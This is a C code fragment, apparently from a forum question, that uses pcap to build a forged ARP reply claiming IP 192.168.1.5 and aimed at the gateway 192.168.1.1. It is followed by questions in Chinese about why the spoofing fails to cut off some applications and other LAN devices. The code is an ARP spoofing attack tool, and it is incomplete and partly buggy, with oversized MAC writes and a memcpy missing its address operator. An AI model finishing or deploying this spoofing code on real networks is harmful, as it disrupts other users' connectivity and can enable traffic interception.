//以太网头部
typedef struct ethernet_head
{
u_char dst_mac[6];
u_char src_mac[6];
u_short eth_type;
}ethernet_head;
//arp头部
typedef struct arp_head
{
u_char hardware_type[2];
u_char protocol_type[2];
u_char hardware_size;
u_char protocol_size;
u_char opcode[2];
u_char send_mac[6];
u_char send_ip[4];
u_char target_mac[6];
u_char target_ip[4];
}arp_head;
int main()
{
pcap_if_t *alldevs;
pcap_if_t *d;
pcap_t * adhandler;
char errbuf[PCAP_ERRBUF_SIZE];
int num;
ethernet_head ether_data;
arp_head arp_data;
u_char packet[100];
//以太网头部
*((unsigned long long*)ðer_data.dst_mac)=0xffffffffffff;
*((unsigned long long*)ðer_data.src_mac)=0xaaaaaaaaaaaa;
ether_data.eth_type=htons(0x0806);
//arp头部
*((u_short*)&arp_data.hardware_type)=htons(0x0001);
*((u_short*)&arp_data.protocol_type)=htons(0x0800);
arp_data.hardware_size=0x06;
arp_data.protocol_size=0x04;
*((u_short*)&arp_data.opcode)=htons(0x0002);
*((u_int*)&arp_data.send_ip)=inet_addr("192.168.1.5");
*((u_int*)&arp_data.target_ip)=inet_addr("192.168.1.1");
memcpy(packet,ether_data,14);
memcpy(packet+14,&arp_data,28);
memcpy(packet+22,packet+6,6);
memcpy(packet+32,packet,6);
问题1: 为什么网关已经被欺骗了,有些应用还能上网,路由器也没有这方面的防护功能。问题2: 对局域网内其他设备一点反应都没有,虚拟机开桥接模式倒是可以、手机是一点动静都没有毫无影响。
问题3:arp请求的目标地址是广播,其他主机收到会更新自己的arp列表吗?